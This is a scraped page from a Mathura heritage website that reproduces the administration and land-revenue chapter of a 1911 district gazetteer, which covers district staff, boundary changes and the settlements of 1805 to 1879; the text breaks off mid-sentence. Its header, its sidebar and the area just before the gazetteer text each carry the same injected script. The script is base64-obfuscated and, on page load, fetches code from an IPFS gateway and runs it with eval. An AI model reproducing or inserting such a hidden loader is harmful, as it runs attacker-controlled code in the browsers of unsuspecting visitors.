Mathura A Gazetteer-4

 Introduction | Index | Marvels | Books | People | Establishments | Freedom Fighter | Image Gallery | Video
This website is under construction please visit our Hindi website "HI.BRAJDISCOVERY.ORG"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar> Welcome mainpage|Mainpage Introduction|Introduction Marvels|Marvels All Categories|All Categories SEARCH LANGUAGES __NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> Mathura A Gazetteer Mathura A Gazetteer-1|General Features Mathura A Gazetteer-2|Agriculture And Commerce Mathura A Gazetteer-3|The People Mathura A Gazetteer-4|Administration And Revenue Mathura A Gazetteer-5|History. Mathura A Gazetteer-6|Directory </sidebar>

General Features Agriculture And Commerce The People Administration And Revenue History Directory of Places - A . B . C . D . E . F . G . H . J . K . M . N . O . P . R . S . T . U . W

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

MATHURA A GAZETTEER,
edited and compiled by, D.L. DRAKE-BROCKMAN [1911]

ADMINISTRATION AND REVENUE

DISTRICT STAFF

For purposes of administration the district is in the charge of a magistrate and collector, who is subordinate to the commis sioner of the Agra division. The sanctioned magisterial staff consists of a joint magistrate, who is a justice of the peace, two full-powered assistant or deputy collectors, and one with third-class powers. There are also a cantonment magistrate, five tah sildars and three benches of honorary magistrates in the muni­cipalities of Muttra, Brindaban and Kosi. Those at Brindaban and Kosi are, when sitting as a bench, invested with the ordin ary powers of a magistrate of the second-class, and consist of three members each, one, at Brindaban, holding office for life and the others for five years only or as long as they are muni cipal commissioners. At Muttra the bench consists of seven members, two of whom hold office for life and the rest either for a fixed period of five years or as long as they are members of the municipal board. Outside the municipalities there are two honorary magistrates; one, Chaudhri Sharif-ul-Hasan, sitting at Mahaban, has jurisdiction within the limits of the Baldeo police circle and the other, Lala Kanhaiya Lal, sitting at Raya, within the Raya police circle: their powers are of the third-class and they hold office for five years. The judicial courts com prise those of the district and sessions judge of Agra, the subor dinate judge of Agra, and the munsifs of Muttra and Mahaban. The munsif of Muttra has jurisdiction in Muttra and Chhata, and the munsif of Mahaban in Mat, Mahaban and Sadabad tahsils. Sessions are ordinarily held by the district judge at Muttra on the third Monday of January, March, May, July, September and November. The remaining civil officials include the civil surgeon and his assistants, the district surveyor, the chaplain, the superintendent and deputy superintendent of police, the deputy inspector of schools and the postmaster. Of officials whose duties are not confined to the district, the executive engineers in charge of the lower division, Agra canal, and the Mat branch division, Ganges canal, have their headquarters at Muttra.

GARRIS

Muttra is a military as well as a civil station, and in the cantonments is quartered a regiment of British cavalry, which forms part of the seventh or Meerut division. The cantonments have a total area of 2,343 acres and the administration of the area is in the hands of a committee consisting of the officer com manding the station, the senior medical officer, the garrison en gineer, the district superintendent of police and the secretary of the cantonment committee. The income is derived partly from house and conservancy taxes and partly from a share of the octroi receipts and hackney carriage license fees levied in the municipality, and is supplemented by miscellaneous receipts such as grazing fees.

FORMATION OF THE DISTRICT

As now constituted, the district is divided into five tahsils, each of which is conterminous with a pargana of the same name. West of the Jumna are the Muttra and Chhata tahsils; and to the east those of Mat, Mahaban and Sadabad. This arrange ment is the outcome of a large number of changes. In the days of Akbar the district or portions of it fell within three sarkars in the subah of Agra, namely Agra, Sahar and Kol. The mahals of sarkar Agra which comprised portions of this district were Muttra, Maholi, Ol, Mangotla, Mahaban, Jalesar and Khandauli; of Kol, Noh; and of Sahar, Hodal, Sahar, and probably Kamah. The subsequent history of the sub-divisions is extremely difficult to trace. Jats, imperialists and Marathas at different times imposed names of their own crea tion on their acquisitions, and the old Ain-i-Akbari mahals were split up into numbers of smaller parganas or taluqas in a way that defies reconstruction. At the annexation in 1803 the cis-Jumna tract was divided between the parganas of Muttra, Farah, Sonkh, Sonsa, Gobardhan, Sahar, Shergarh and Kosi; while east of the river are found Sadabad, Sahpau, Raya, Mat, Mahaban, Sonai and Nohjhil. The sarkar Sahar of the Ain-i-Akbari appears to have disappeared in the reign of Aurangzeb. It is then that sarkar Muttra or Islamabad, as the courtly historians preferred to call it, is first heard of. To the Jats is attributed the restriction of Sahar by the separate demarcation from it of Shergarh, Kosi and Shahpur ,the last of which became later merged in the other two; the destruction of Ol and the creation of Farah; and the constitution of Sonkh and Sonsa out of the old Ain-i-Akbari pargana

Mangotla. Gobardhan was created late in the eighteenth century by Najaf Khan, as a feof for Raza Quli Beg, out of Sahar and some villages of Sonkh. The whole of the tract fell to the British under the treaty of Surji Anjangaon in December 1803, but parts appear to have been almost at once transferred to favoured grantees. Nothing certain can be evolved from the records relating to the treatment of these parganas; but Sonkh, Sahar and Sonsa appear to have been at once handed over to the Raja of Bharatpur; Kosi and Shergarh to have been restored to Sindhia as a life provision for Musammat Balla Bai; Gobardhan to have been given free of assessment to Lachhman Singh, Jat, in return for the assistance rendered by his father, Ranjit Singh, Raja of Bharatpur, to Lord Lake; while Muttra and Farah were retained and added to the district of Agra. East of the Jumna there is less uncertainty, though matters are by no means clear.

Sadabad was formed by the famous wazir of Shahjahan, Sadullah Khan, who founded the place of that name and subordinated to it all the surround ing country, comprising 200 villages of the old mahal of Jalesar and a few of Khandauli and Mahaban. Nohjhil does not appear ever to have been changed; but Mahaban was split up into Mat, Rays and Sonai during the period of Jat rule, the old par gana being at the same time much restricted but containing some villages which belonged to the later pargana of Sadabad. Sahpau and Mursan were also formed out of Jalesar, the former being increased by annexations from Sadabad. All these par ganas with the exception of Nohjhil, which belonged to Farru khabad, were at the outset attached to the district of Etawah: but in 1804 they were handed over to the newly formed district of Aligarh and remained part of that district until the year 1824. In that year the new district of Sadabad was created and com prised the whole trans-Jumna tract of Muttra in addition to the pargana of Jalesar. A military force had been stationed is Muttra since 1803, but it was not until 1832 that the civil head-quarters were transferred from Sadabad to Muttra and the civil district as we now know it formed. Muttra was then taken from the Farah tahsil of Agra and, together with Sonkh, Sonsa, Gobardhan and part of Sahar, was formed into a new pargana and tahsil called Aring. Further north, part of Kosi was joined to Sahar, and the two tahsils of Sahar and Kosi were constituted. In 1840 taluqas Sonkh, Madim, Dunaitia and ArLashkarpur in the north-east of Mahaban, along with some miscellaneous villages, were transferred to Muttra from Aligarh. During the disturbances attending the Mutiny the tahsil head-quarters of Sahar were removed for greater security to Chhata, and in 1859 it was decided to retain them there permanently, the Sahar tahsil being renamed Chhata. In 1860 the separate tahsil of Nohjhil was abolished and amalgamated with Mat to form the present Mat tahsil. In 1867 the headquarters of the sadr tahsil were moved from Aring to Muttra, and seven years later pargana Jalesar was transferred to Agra. The only other change that affected the area of the district was made in 1878 when 84 villages of the Farah tahsil of Agra were attached to Muttra. From that year the boundaries of the district have remained unchanged, but its internal constitution was modified in 1894 by the abolition of the Kosi tahsil and its absorption in Chhata.

FISCAL HISTORY

Owing to these changes the fiscal history of the district is rather difficult to follow. It may be gathered from the history of the formation of the district given above that the two por tions lying on either side of the Jumna have been subjected to entirely different treatment; for it was not until 1832 that the district became the administrative unit as we now know it. In dealing with the fiscal history of Muttra, therefore, it will be convenient to treat each tract separately. But before a detailed description of the earlier settlements is proceeded with it is ne cessary to sketch in outline the general lines on which they ran; for the principles of settlement were laid down by regulations which were applicable to the whole. The arrangements for the first year after the annexation were merely provisional, for some time elapsed before the British possession was real as well as nominal. On October 11th, 1804 the commander-in-chief issued a proclamation laying down how the arrangements for fasli 1212 (1804-05) were to be made: and it was these rules which were incorporated in and enlarged by Regulation IX of 1805. This regulation provided that there should be a trien nial settlement from June 1805 to May 1808, then another trien nial settlement lasting from June 1808 to May 1811, to be fol lowed by a quartennial settlement from June 1811 to May 1815: at the expiry of this period a permanent settlement was to be granted for all lands in a sufficiently advanced state to allow of it. The principles of settlement to be adopted were also laid down, though curiously enough those of assessment were not expressly stated. Apparently 10 per cent, of the estimated assets only were to be allowed as profit to the proprietors. En gagements were to be taken for revenue only and only from persons in actual possession; other claimants being directed to make good their claims in the civil court. Landholders who did not engage were to receive nankar at the usual rate not exceeding 10 per cent. on the jama; and, where possible, independent land-holders were to be settled with separately from taluqdars. Where there were no proprietors, the village was to be held in direct management, tenants paying the Government five-eighths of the produce where the land was fully cultivated, one-fourth in new waste, and one-eighth in fallow land brought under cultivation. At the end of this triennial settlement the next settlement was to be made for three years. From the full proceeds of the village, nankar at the usual rate was to be deducted, and the new revenue was to be the old revenue plus two-thirds of the differ ence between it and the proceeds calculated after the deduction of nankar. In the quartennial settlement the same procedure was to be adopted, but only three-fourths of the difference were to be taken. Long before 1815, however, a change of procedure was adopted. First, by Regulation X of 1807, two commissioners were appointed who were to superintend. The second triennial settlement and also the introduction of the permanent settlement: while it was laid down that the assessment, which would become permanent subject to the consent of the Board of Directors, was to be the jama of the last year of the quartennial settlement.

Before the end of the time fixed, the Court of Directors had signified their disapproval of the procedure and Regulation X of 1812 was passed. This authorised the commissioners to enquire into and report on what estates were in a sufficiently ad vanced state of cultivation to receive a permanent settlement. In these, subject to the confirmation of the Board of Directors, it was decided to conclude a permanent settlement, while with the remainder it was proposed to make a settlement for three or five years. In the meantime a new settlement was made lasting till the end of May 1820. The enquiries of the commission effect ually shelved for the time the question of a permanent settle ment and the current arrangements were continued for five years more, or up to May 1825, by Regulation IX of 1818; and again, by Regulation IX of 1824, for a further period of five years or until such time as a new settlement had been concluded by the collector under Regulation VII of 1822. Settlements were made under the last-named regulation for Sahpau, Sadabad, Mahaban, Sonai, Raya (now included in Mahaban), and four villages in Mat; while in the remainder of the district they were either made under that regulation and immediately revised under Regulation IX of 1833, or made directly under the latter ordi nance. Omitting the last revision of 1879, therefore, which is still current, there have been four settlements in the district; firstly the initial triennial settlement from 1805 to 1808; the second triennial settlement from 1808 to 1811 which was con tinued to 1815; and the third or quinquennial settlement,, which was continued till the revision under Regulation VII of 1822 in Sadabad, Sahpau, Mahaban, Sonai, and four villages of Mat, till the revision under Regulation IX of 1833 in the rest of Mat and Nohjhil, or until the combined revision under Regulation VII of 1822 and IX of 1833 which had effect in the rest of the district.

EARLY SETTLEMENTS IN THE TRANS-JAMNA TRACT.

It has already been noted that the trans-Jumna parganas of Muttra were in 1804 included in the Aligarh district, while those on the opposite bank of the river fell within the jurisdiction of the collector of Agra. This division of control between different officers with different leanings accounts for the different treatment meted out to the proprietary bodies in the two portions of the district; for, while the makers of the early Aligarh settle ments leaned to a taluqdari arrangement, the Agra settlements were made with the cultivating bodies. The first triennial settlements in the trans-Jumna parganas was made by Mr. Russell and in all of them taluqdars were admitted to engagement either as such or as farmers. Daya Ram of Hathras held Maha ban, Mat, Sonai, Raya and Sahpau, together with other parganas not now in Muttra, in farm; Raja Bhagwant Singh of Mursan held taluqa Ar Lashkarpur and some villages of Sadabad, as a taluqa and the rest of Sadabad with Sonkh, Madim and Dunaitia, in farm; while Ranmast Khan held Nohjhil. The farm of Nohjhil to Ranmast Khan was especially ordered as a means of conciliating a powerful rebel; and Daya Ram and Raja Bhagwant Singh were recommended to the collector by His Excellency the Commander-in-Chief. None of them, however, remained long in possession of the estates which had, in flagrant disregard of the rights of the actual proprietors, been handed over to their extortions. The first to fall was Ranmast Khan. He was never more than a half-subdued rebel, and his insubordination culminated in an armed attack on the village of Musmina. A warrant was issued for his apprehen sion, and after but two years of farm a zamindari settlement was concluded with the proprietors. As regards Daya Ram and Raja Bhagwanant Singh, the reasons for giving them farms were in the first place political ones of a temporary nature; but as time went on and the country settled down, the evils of two powerful and turbulent taluqdars setting at defiance the power of the Government became more and more glaring. Their removal was accordingly very soon decided on, and to the commissioners appointed under Regulation X of 1807 was left the determination of the best method of carrying it out. These reached Aligarh in October 1808 and, as a result of their propo sals, Daya Ram was finally excluded from the farm of the parganas now in this district, while taluqdari rights in Sonkh, Madim and Dunaitia were given to Raja Bhagwant Singh in part compensation for similar treatment. The whole of this triennial settlement was a disastrous one in the district.

The years 1806 and 1807 were years of scarcity, and though a reduction of three annas in the rupee was allowed to the landholders who had been admitted to engagement, no such allowance was accorded to taluqdars who were left to deal as they liked with the proprie tors under them. Their extortions were such that many years after, when the zamindari settlement was introduced, the parganas were found to be in a very impoverished condition. While the commissioners were making arrangements for remov ing the taluqdars, half the first year of the second triennial set­tlement had slipped away, and Mr. Trant, the acting collector of Aligarh, had been busy making preparations for a village settle ment. His proposals for Mahaban, Sahpau, Sadabad, Mat, Raya and Sonai were forwarded to the Board of Revenue in December 1808, while those for Nohjhil were reported by Mr. Elliott in May 1809. This settlement was the most disastrous one ever made in the tract. The basis of the proposed jama was the assumed average demand of the previous six years, checked "by information collected from private sources"; while a progressive demand was adopted throughout owing to the impoverished state of the country from drougt and the exactions of the farmers. Mr. Trant himself allowed that, as the demand of the third year was to become permanent, he was compelled to fix for that year a revenue which could not in so short a time be paid by the landholders out of improvements in cultivation although the full sum became realizable only in the third year. In this way the very measure of permanency of demand intended for the benefit of the proprietors was destructive to them; and, instead of being given a breathing space to recover the losses of the past, they were saddled with a demand based on the extortionate collections of rapacious farmers. It was in Sadabad that the effects of the settlement were most felt. The assessment itself was heavy; the landholders were "notoriously turbulent and expert in low intrigue "; and the accounts of the tahsildar were in the greatest confusion. Nearly Rs. 10,000 were remitted for the first year of settlement alone; while by the end of the first year of the quartennial settlement just one half of the estates in the tahsil had to be farmed. In the other parganas such drastic measures were not necessary, and a few farms enabled the collector to realize the revenue.

The arrangements for the quartennial settlement were made by Mr. Newnham in Nohjhil and by Mr. Fergusson in the other parganas. There was no resettlement in the regular sense of the term, but fresh arrangements were made in farmed villages and where landholders were in arrears or refused to engage. This settlement brought on the whole reductions; but that these were insufficient is shown by the heavy balances which occurred and by the frequent occurrence of sales and farms. Before the end of its term further reductions had to be carried out. By this time the Government had been convinced that the duties of the collectorate of Aligarh could not be efficiently performed by one man, and accordingly a subdivision was formed out of parganas Sahpau, Sadabad, Mahaban, Raya, Sonai and other tracts. This was put in the charge of Mr. Boulderson, whose headquarters were at Sadabad. That officer carried out the arrangements for the quinquennial settlement. The deputation of Mr. Boulderson to Sadabad appears to have been productive of great benefits to the people generally, and his vigorous and careful administra tion and judicious distribution of burdens, following as it did on ten years of strong Government control throughout the province, wrought a rapid change. Though his assessment brought with it an enhancement, the old complaints of the turbulence and refractory spirit of the landholders disappeared from this time, rapid improvement set in and the demands were punctually realised. Revised settlements under Regula tion VII of 1822 were carried out in Sahpau by Mr. Tyler, and in Mahaban, Raya, Sonai, Sadabad and four villages in Mat by Mr. Deedes. The latter's system was based on a care ful estimate of the capabilities of each village, all pargana general rates being rejected. No maps were prepared, but each field was measured and numbered, and its number, name and area were recorded in a field-book: the wet area was distin guished from the dry, and a rough division of the fields into two or at most three classes was made, according to the situation and character of the soil. The tahsildar then tested the accuracy of the entries and drew up a short history of the village. This document was called juz-o-kul, and included an abstract of the khasra, showing the proportions of cultivated, culturable and waste lands, an abstract of the demands, receipts and balances of previous years, and all particulars bearing on the capabi lities of the estate. To this paper were added by the record keeper all important records in the central office, and the file was then submitted to the collector for assessment. The real basis of the demand assessed on this record was the rent which the village could afford to pay, and in arriving at this all attempts at statistical calculations based on produce were avoided. From the estimated annual letting value deduced from the tahsil statements 25 per cent. was deducted, and the remainder was declared to be the Government demand. This at any rate was the general system, but in some cases as much as 35 per cent. was deducted; and as a rule village communities do not appear to have been treated with as such leniency as zamin dari estates. Mr. Tyler's methods differed in only a few parti culars from those of Mr. Deedes. It was, however, very soon discovered that the procedure enjoined by Regulation VII of 1822 was far too cumbersome, and that it would take too long to complete the settlements of any district under it. Regulation IX of 1883 was therefore passed, and under it a settlement of the rest of Mat and of the whole of Nohjhil was carried out by Mr. Tyler, who in 1832 had been appointed collector of the newly formed district of Muttra. His plan was much the same as that adopted by him in Sahpau. The village soils were divided into bara, manjha, barha and khadar, wet and dry areas being separately recorded. A village rent-roll was neat prepared, and, after a rough allowance had been made for errors, 25 per cent. was deducted, 20 per cent. being the pro prietors' and 5 per cent. the lambardars' allowance: the remainder was regarded as Government revenue. To complete the fiscal history of the trans-Jumna tracts it is necessary to notice the assessments of the villages of taluqas Sonkh, Madim, Dunaitia and Ar Lashkarpur, together with Chauhari, Khandiya and Tehra of taluqa Joar. The first three of these had been, as we have seen, handed over to Raja Bhagwant Singh on particular grounds: the remainder formed part of his taluqa. Raja Bhag want Singh died in 1823, and the occasion of the succession of his son, Tikam Singh, was taken to protect to some extent the rights of the under-proprietors by a sub-settlement. The settle ment was carried out under Regulation IX of 1833 by Mr. J. Thornton. In zamindari villages where the taluqdar was found to own all rights, the assessment was made at 70 per cent. of the assumed assets; in the biswadari or pattidari villages the Govern ment share was 62 per cent., and of the balance 18 per cent. went to the taluqdar and 20 per cent. to the biswadars. When, however the biswadars lost their rights and the taluqdar was admitted to engagement as full proprietor, the Government demand was raised to the full 70 per cent. In Ar Lashkarpur and Sonkh engage ments were taken from the muqaddams or headmen of all the villages. In Madim biswari rights were only traced in two villages. In Chauhari and Khandiya the muqaddams were admitted to settlement and the same was the case in Terha; but these last, after the completion of the settlement, relinquished their rights. In Dunaitia sub-rights were found to exist in thir teen out of seventeen villages.

FISCIAL HISTORY OF THE CIS-JUMNA TRACT.

The Muttra pargana, then a portion of the Farah tahsil in the Agra district, was the only one of the cis-Jumna parganas for which a first triennial settlement was made by English offi cers. Mr. Wemyss sent in his proposals in March 1806; but his proceedings were set aside and his successor, Mr. Ross, was directed to carry out the settlement. Mr. Ross' assessments were sanctioned in August 1806 at Rs. 6,350 only. A year later the commissioners appointed under Regulation X of 1807 expressed their intention of commencing their inspection of the North-West, with a view to the formation of a permanent settle ment, in the Agra district. In a letter, dated September 29th, 1807, Mr. Ross gives a valuable account of the state of the dis trict at the time, as well as his views on the expediency of fixing the demand in perpetuity. The commissioners forwarded this letter to the Governor-General, with an expression of their views that the advantages of a permanent settlement would far outweigh the disadvantages, and intimated that they proposed to carry Regulation X of 1807 into effect in the Agra district as an experiment, without in any way touching on the advisability of extending the permanent settlement to the provinces generally. They urged two main reasons in favour of the course which they proposed to pursue. The first was the small size of the district, which would render any loss inappreciable. The second reason was the necessity for making a not particularly friendly set of landlords living in a border tract interested in the permanency of British rule. Even after a visit to the district they adhered to their opinion and urged a nnmber of additional arguments in its favour. Accordingly the second triennial settlement was survey made by Mr. Ross in 1808 with a view to permanency. His survey was a summary one and was made by qanungos and mirdahas. His deduced rent-roll was the recorded rent-roll of each estate, checked by the reports of the tahsildar on the extent of cultiva tion and the crops produced in each estate, and by the dauls or estimates of the qanungos. From this rent-roll Mr. Ross deducted one-tenth for calamities, the resulting sum giving him his gross assets and being in his opinion an accurate estimate of the resources of the village. From this was taken 5 per cent. for expenses of management and ten per cent. for proprietary profit.

The remainder or about five-sixths of the gross assets, however, he considered to be too high a sum to be fixed as revenue and the demand actually imposed was as a rule calculated to leave about one-fourth of the gross assets to the landlords. The revenue for permanency varied according to the condition of the estate. If more than seven-eighths of the land were cultivated, a reduction proportionate to the excess above that proportion was allowed on the revenue; if three-fourths were cultivated, the demand of the triennial settlement remained unchanged; if less than three-fourths were cultivated, the increase in the demand depended on the difference between the area cultivated and that proportion. The gross assets of the pargana were estimated at Rs. 12,499, and the first year's demand proposed was Rs. 7,143 or less than 60 per cent.: this was to rise to Rs. 10,238 in the fourth year and then be fixed in permanency. The Board warmly recommended the proposals for sanction, and this was accorded by the Government on September 1st, 1809, pending the final consent of the Directors. Meanwhile on November 18th, 1808, Mr. Ross reported that he had obtained possession of the remaining cis-Jumna parganas from Sindhia's agents. He, however, left the district before he could settle them, and the work devolved on Mr. Trant. Mr. Trant's basis of assess ment appears to have been the demand of former years; but to judge from the collector's own accounts, the tract was certainly far from fully devcloped, especially in Sahar, Kosi and Sher garh. "An expectation, however, ". he writes, "of sharing this advantage (permanency of settlement) in common with the land-holders in general under the British Government certainly induced the proprietors to agree to higher terms than they would have with the idea of a temporary settlement." Apparently the collector was an advocate of permanency, for he somewhat rashly commits himself to the statement that," it is probable that in a resettlement at the expiration of three years some increase of revenue might be obtained, but it is my belief that the increase would not be sufficient to compensate the incon venience attending a revision of the settlement." The demand fixed was in round numbers Rs. 3,40,000: it was warmly recom mended by the Board and sanctioned by the Governor-General who declared it permanent, subject to the approval of the Court of Directors. The Court of Directors, however, never accorded their approval to these proceedings for fixing the revenue demand in perpetuity, rightly judging that, in the then undeveloped state of the country, permanency of demand would deprive the Govern ment of any advantages arising in the future from the extension of cultivation and the general improvement of the country. That they were justified in the view they took, events subsequently proved, for only 70 years later, before canal irrigation had to any extent been developed, the same tract was paying a revenue of nearly six lakhs. In forming this settlement Mr. Trant seems to have followed in the footsteps of his predecessor, and his assess ments were not so severe as they had been in Aligarh. There was no regular revision during the quartennial period, but farmed estates were, as far as possible, settled with the resident proprie tors, and other suitable adjustments of the demand were made. This work fell mostly on Mr. Ryley. The period was generally marked by bad seasons, and in no year during it was the full demand collected. The time now arrived for a quinquennial settlement. The first proposals for it were sent in by Mr. Wright. His assessment for the first year showed a large decrease on the demand of the last year of the quartennial settlement, but rose rapidly to nearly a lakh in excess of it in the last. It was disallowed by the Board, who, without actually directing a formal revision, desired enquiries to be made into the worst cases of over assessment. This work devolved on Mr. Boulderson, who reported his proposals in 1817. His proposals were not of a very sweeping character, and the assessments were extended by various enactments until the completion of a new settlement under Regulation VII of 1822. Meanwhile pargana or taluga Gobardhan was handed over to the British in 1826, and for two years remained under the control of Mr. MacSween, magistrate of Agra. It and the rest of the cis-Jumna tract was resettled under Regulation VII of 1822 by Mr. Boddam, collector of Agra. The survey for this was made by amins and appears to have been the first regular survey made in the district. The nominal method of assessment was to classify the lands of a village into wet and dry, subdividing each into three classes. The gross produce of each class of land was then estimated by the tahsildar, qanvcngos and zamindars. The value of the produce was settled by the price lists of the previous ten years and of the value of the gross produce, two-fifths in the case of wheat and barley and half in the case of other crops being regarded as the Government share. This share gave the gross assets, and from them 10 per cent. was deducted for calamities of season. The resultant sum was the so-called rent-roll which was distributed at fictitious rates over the cultivatory holdings, the actual Government demand being obtained by making certain deductions for malikana and on similar accounts, the extent of which varied in every village. As a matter of fact, however, though this was the apparent method, the statements on which the assessments were formed were nothing more than office productions. The assessments were recommended nevertheless, as they were reported, by the Board and were sanctioned in 1833 for a period of 20 years. The result of the proceedings was a considerable enhancement of revenue in all parganas except Gobardhan; and it was very soon found that the assessments were too heavy. Remissions were at first granted to selected villages where the burden was excessive; but even these were insufficient, and before Mr. Boddam's settle ment had run ten years of its course a complete revision was ordered. This was carried out by Mr. Tyler under Regula tion IX of 1833. Abandoning the plan of a village settlement which he had favoured on the other side of the river, Mr. Tyler divided villages into classes and formed pargana soil rates. In the parganas first taken up the system was rudimentary. Thus in Sahar and Shergarh he had only one wet rate and two dry rates for the uplands, and two wet and two dry rates for the Jumna valley, no difference between home and outlying lands being admitted. But in his later work, as in Muttra, he extended his system so as to have twelve rates in the upland soils and three in the khadar. The ultimate result of his assessment was an enhancement of over Rs. 60,000. The settlement was sanc tioned by G. O. no. 497, dated April 2nd, 1842.

WORKING OF THE SETTLEMENT UNDER REGULATION IX OF 1833

A table showing the demand fixed at successive settlements will be found in the appendix. From this it will be seen that the district as now constituted was assessed in 1842 to a demand of Rs. 14,34,251. The first point of remark in regard to it is the difference of incidence in the two portions of the district. In the cis-Jumna tract the incidence at the expiration of settle ment was only Re. 1-10-11 per cultivated area, whereas in the trans-Jumna tract the incidence fell at Rs. 2-8-3. The whole settlement was nearly wrecked by the disastrous famine of 1837. Sadabad and Sahpau had then been settled seven years, Mahaban five years, Mat and Nohjhil three years, Sahar, Shergarh and Kosi one year. In Aring and Sonkh the new revenues were to come into force in the very year of the famine, while Muttra, Gobardhan and Sonsa were still untouched. Extensive remissions were given in the whole district; but in Mahaban remissions were found inadequate to cope with the deterioration, and a revision of settlement was carried out in 1840 in taluqas Ar Lashkarpur, Sonkh, Madim, Sonai with Aira Khera, Raya and Dunaitia. Kosi had hardly begun to recover from the effects of the famine, when it was nearly overwhelmed by another dis aster in the shape of a hailstorm in 1841. The kharif of 1840 very largely failed, and just as the rabi was in ear half of it was utterly destroyed. In consequence more than half of the demand of the year had to be remitted. The successive years of drought that followed gave the pargana no time to recover itself, and the Board held that its productive powers had so deteriorated that a revision of the settlement was absolutely necessary. This was carried out by Mr. Tyler in 1844, and resulted in a permanent reduction of the demand by over Rs. 11,000. The later history of the settlement, however, was until the Mutiny one of prosperity, and even that event had very slight direct influence upon it. There were several farms in Sadabad for arrears of revenue in the Mutiny year; some sales of villages took place in Nohjhil, owing to the inability of the proprietors to pay the Mutiny fine, and some Gujar villages were confiscated for rebellion. The famine of 1860-61 left no permanent mark on the district, and the remission on account of it did not amount to more than Rs. 2,000. During the currency of settlement roughly one-third of the entire dis trict appears to have changed hands through sale or mortgage. In the cis-Jumna parganas the transfers rarely had any con nection with the Government demand; but in the trans-Jumna tract the bulk of them were due to its severity. After the Mutiny rapid improvement set in mainly on account of the steady rise in prices; and the increasing ease with which the revenue was met could be seen in the higher price of land and the comparatively small number of auction sales.

THE SETTEMENT OF 1879

The last settlement of the Muttra district was completed between April 1872 and March 1879. Mr. M. A. McConaghey remained in charge of the settlement until October 1876. He was assisted first by Mr. M. Reade, who died in October 1875, and afterwards by Mr. R. S. Whiteway, who completed operations after Mr. McConaghey left the district. Muttra then contained the Jalesar pargana in addition to the present five tahsils, but did not include 84 villages which were transferred from the Agra district and incorporated in tahsil Muttra in 1878. The survey of the district was undertaken and carried out by a party of the revenue survey under the orders of Colonel F. C. Anderson: it was completed between 1871 and 1875 and cost Rs. 2,69,093. The field books or khasras were prepared by the Survey department, who filled in the columns showing the number of the field, its total area in acres and its description as regards cultivation and the existence of wells. To the Settlement department fell the task of adding the other items, such as the names of the owner and cultivator, the class of soil and the crop on the ground. While these and other statistics were under prepara tion the Settlement department prepared the various records in the rough, preparatory to their attestation. In the course of these proceedings disputes regarding ownership were summarily decided as they arose, and similar action was taken as regards the claims put forward by tenants to be recorded as having rights of occupancy.

The assessments purported to be everywhere based on the average rates of rent actually paid and upon actual rentals so far as they represented fair rents. The problem was to ascertain for each description of land the rate of rent which was ordinarily held to be a fair one and to govern the average bond fide transactions between landlord and tenants. To ascertain this it was necessary to exclude from the analysis of rentals all instances in which the rent was obviously too low or too high. The rent rates thus obtained are such as can readily be paid by the tenants of any village to which they are applied; and, though they do not take into consideration any anticipated rise in the standard of rent during the duration of the new settlement, they allow for probable enhancement of unduly low rent. In order, however, to obtain average soil rates the point of primary import ance at the outset was the accurate demarcation and classification of the several descriptions of soil. In Muttra the soils were first demarcated by a specially trained establishment and then carefully revised by the assessing officer himself. The actual system of soil classification pursued did not differ materially from that followed in other districts. In every village the manured home lands or bara were first of all marked off from the outlying area or barha. This constituted the two artificial circles. In four parganas, namely, Mahaban, Sadabad, Sahpau and Muttra the home circle was divided into the gauhan area and the manjha or middle belt, which receives more attention than the outlying land but less than the gauhan: in Kosi, Chhata and Mat the manjha sub-circle was not retained. Where both the gauhan and manjha circles were used they were each subdivided into two and sometimes into three classes: where the gauhan alone was used it was broken up into five classes. The barha or out-lying lands were divided into numerous classes according to the quality of the soil and the facilities for irrigation. Ordi narily, there were two classes of irrigated and two of unirri­gated barha, each class being subdivided into good, fair or average: sometimes a class below the average was added. These included, along with the ordinary loams and clays, the better kinds of sandy soil or bhur; but the worst varieties, known as puth, were separately classified as irrigated and dry puth. The alluvial or riverain soils were usually classed apart into three or four groups. Altogether from 20 to 25 classes of soil, each with its separate rent rate, were thus employed in the assessment of a pargana.

The mode in which standard rent rates were deduced from the soil areas thus demarcated and classified differed in various parts of the district. In the trans-Jumna tract some difficulty arose from the prevalence of lump rents. Average rates accord ingly were deduced for the several classes of soil from single soil holdings. These rates were applied to the total soil areas and compared with actual rents after elimination of the holdings and villages in which rents were considered unduly low. As a rule it was found that the rates deduced from the single soil holdings were too high to admit of general application and they were accordingly lowered. In Muttra pargana the conditions were generally similar to those of the trans-Jumna tract, but the inquiry into the rates was complicated by the extraordinary variety of methods in which rent was found to be levied. "There are," says the settlement officer, "all round rates on cultivation, crop-rates, irrigated and dry rates, rough soil rates, rates for resident and non-resident cultivators, rates for hered itary tenants and rates for tenants-at-will, rates on ploughs, rates on wells, rates varying according to the quality of the water used, rates for manured and unmanured lands, lump rates, and finally numerous modified sets of rates based on and derived from two or more of those already specified." The most important class of soil was the unirrigated light loam outside the manured home circle of average fertility; it was classed as "dry average bara I" and occupied 42,228 acres, or one-third of the entire cultivated area. For this, as for home lands, irrigated and sandy soils, rates had to be carefully elaborated on the basis of rentals paid in single soil holdings. In bhur or sandy soils an ample margin was left for the precarious character of the cultivation. In Chhata and Kosi the task of assessment was still more arduous, as a very large portion of the land paid no rent, being cultivated by the proprietors themselves; while a further portion was held by privileged tenants who paid little more than the state dues and village expenses. Thus in Kosi 49,925 acres out of a total cultivated area of 81,668 were held as sir; and in Chhata proprietary cultivation amounted to 46,812 acres out of 115,863. In framing rent rates the assessing officer had to confine himself to the few vil lages and holdings in which rents were to be found based on commercial principles. Rates on ordinary unirrigated loam and other unirrigated soils in the outlying or barha area were arrived at by taking a village in which large 